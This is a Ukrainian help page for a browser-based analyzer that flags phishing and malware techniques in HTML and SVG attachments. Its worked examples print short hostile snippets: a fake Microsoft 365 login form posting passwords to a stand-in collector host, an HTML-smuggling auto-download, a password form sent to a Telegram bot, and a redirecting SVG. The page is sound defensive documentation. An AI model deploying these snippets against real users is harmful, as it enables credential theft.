Файли та сторінки

Аналізатор HTML-вкладень

Працює локальноНовий

Сам інструмент доступний англійською мовою; на цій сторінці наведено пояснення вашою мовою.

Використовуйте Аналізатор HTML-вкладень

Як це працює

Завантажте або вставте HTML- чи SVG-вкладення, щоб побачити, що воно зробило б після відкриття: приховані завантаження, форми, що надсилають пароль деінде, перенаправлення, адреси для витоку даних і обфускований код. Файл читається як текст і ніколи не відтворюється й не запускається.

Програма працює повністю у вашому браузері: жодні введені вами дані не завантажуються.

Як користуватися Аналізатор HTML-вкладень

  1. Не відкривайте файл. Збережіть вкладення .html, .htm, .shtml, .xhtml або .svg, не відкриваючи його, або скопіюйте його вихідний код як текст.
  2. Завантажте або вставте його. Перетягніть файл у поле чи виберіть його (до 25 МБ) або вставте вихідний код (до 5 МБ) і натисніть Analyze (аналізувати) чи Ctrl+Enter.
  3. Прочитайте вердикт. Верхній блок показує High risk, Suspicious (підозріло) або No high-risk patterns found (шаблонів високого ризику не знайдено), категорії, що зумовили вердикт, і кількість висновків, IOC та вбудованих блоків.
  4. Перегляньте висновки. Кожен висновок показує рівень серйозності, категорію, номер рядка й відповідний фрагмент коду зі знешкодженими посиланнями та адресами.
  5. Експортуйте знайдене. Скопіюйте IOC у знешкодженому чи сирому вигляді або скористайтеся Send to (надіслати до) для IOC Converter, Abuse Report Generator чи, для вбудованого блоку, Multi-Layer Decoder.

Приклад

Форма входу з попередньо заповненою адресою

Вхідні дані
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Вихідні дані (зафіксовано 2026-10-20)
High risk: techniques used by phishing and malware attachments

Credential harvesting

1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs

FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365

This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.

Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO	METHOD	FIELDS	LINE
hxxps://collector[.]example/login external Copy	POST	email u, password p, submit password	2
Requests and redirects with a literal target
VIA	TARGET	LINE
form	hxxps://collector[.]example/login other site	2
IOCs
URLs (1)
hxxps://collector[.]example/login

Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)

Static
…

High risk (високий ризик): форма входу надсилає пароль на collector[.]example, заголовок згадує Microsoft 365 поруч із полем для пароля, а скрипт підставляє адресу електронної пошти з фрагмента URL за допомогою atob. Список IOC містить URL збирача та його домен у знешкодженому (defanged) вигляді.

Що перевіряється

СигналЩо це означає
HTML smugglingВисокий рівень, коли сторінка збирає файл у пам'яті (Blob із createObjectURL чи посиланням на завантаження або msSaveOrOpenBlob) і пропонує його завантажити.
ФормиБудь-яка форма, що надсилає дані на інший сайт, отримує високий рівень, а заголовок повідомляє, якщо вона передає пароль. Таблиця Forms показує, куди надсилає кожна форма, її метод і поля.
Адреси для витоку данихВиклики Telegram Bot API, токени ботів, вебхуки Discord і сервіси збору форм, як-от formspree.io чи webhook.site, отримують високий рівень.
Обфускаціяatob, unescape, fromCharCode, довгі послідовності escape-символів і результат роботи відомих обфускаторів. Закодовані рядки-літерали декодуються без запуску.
Динамічний кодeval, конструктор Function, document.write і присвоєння innerHTML будують код або розмітку під час виконання.
ПеренаправленняЗміни location, window.open, meta refresh і читання фрагмента URL, через який фішинг-кити часто передають адресу електронної пошти жертви.
Трюки проти аналізуЗаблокований правий клік чи F12, оператори debugger, виявлення інструментів розробника та перевірки на автоматизовані браузери.
Вбудований вмістdata: URI, довгі блоки Base64 чи hex і тип файлу, в який вони декодуються, приховані iframe і SVG-файли зі скриптами.
Ознаки брендуНазви брендів у заголовку, логотипах чи посиланнях. Поруч із полем для пароля це отримує середній рівень.

Ще кілька прикладів

Завантаження, створене в браузері

Вхідні дані
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>
Результат

High risk, причина — HTML smuggling: 1 висновок високого рівня (сторінка збирає файл у браузері й пропонує його завантажити) і 4 середнього рівня для atob, new Blob, URL.createObjectURL і атрибута download. IOC немає.

Пароль, надісланий Telegram-боту

Вхідні дані
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>
Результат

High risk, причина — Data exfiltration (витік даних): скрипт надсилає дані зі сторінки з полем для пароля на api.telegram.org, плюс висновок про адресу Telegram Bot API. Висновки середнього рівня стосуються fetch, поля для пароля та форми входу без зовнішньої адреси надсилання.

SVG-зображення, що перенаправляє

Вхідні дані
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>
Результат

High risk: SVG-файл зі скриптом, плюс перенаправлення середнього рівня та висновок низького рівня для btoa. Ціль показано в розділі Requests and redirects як інший сайт, а URL простору імен XML не включено до IOC.

Часті запитання

Що шукає аналізатор?

Він зіставляє вихідний код із правилами для HTML smuggling (Blob, createObjectURL, msSaveOrOpenBlob, посилання на завантаження, data: URI і довгі блоки Base64), форм і скриптів, що надсилають дані на інші сайти, витоку даних через Telegram і Discord, перенаправлень, прихованих iframe, обфускаторів і трюків проти аналізу. Він також декодує літерали atob, unescape і fromCharCode, не запускаючи їх, і перелічує кожен знайдений URL, домен, IP-адресу та адресу електронної пошти в знешкодженому вигляді.

Чи може він щось пропустити або підняти хибну тривогу?

Так. Зашифрований або згенерований під час виконання код може приховати свою поведінку від статичного аналізу, а звичайні сторінки теж використовують fetch, innerHTML чи вбудовані зображення, тож читайте відповідний фрагмент коду, показаний біля кожного висновку. Для деобфускації та емуляції в пісочниці скористайтеся JS Analyzer.

Чи вивантажується або відкривається файл?

Ні. Файл читається як текст у вашому браузері й ніколи не відтворюється, не виконується і нікуди не надсилається. Приймаються файли до 25 МБ; у дуже великих скануються перші 4 МБ і останній 1 МБ розмітки, а вбудовані блоки підраховуються в усьому файлі.

Чому SVG-зображення перевіряється як вебсторінка?

SVG-файли — це XML, який браузери відкривають як сторінки, тож вони можуть містити скрипти, посилання й вбудований HTML. Зображенню не потрібен скрипт, тому скрипт у SVG отримує високий рівень.

Що таке вбудовані блоки?

Довгі рядки Base64, hex або масиви байтів у файлі. Вони декодуються в пам'яті й позначаються типом файлу, на який перетворюються; ви можете скопіювати блок або надіслати текстовий блок у Multi-Layer Decoder.

Що означають рівні серйозності?

High позначає шаблони, на які покладаються фішингові та шкідливі вкладення, як-от smuggling, адреси для витоку даних чи форма з паролем, що надсилає дані деінде. Medium охоплює техніки, які використовують і звичайні сторінки. Один висновок високого рівня робить вердикт High risk.

Пояснення термінів

Дослідження PhishDestroy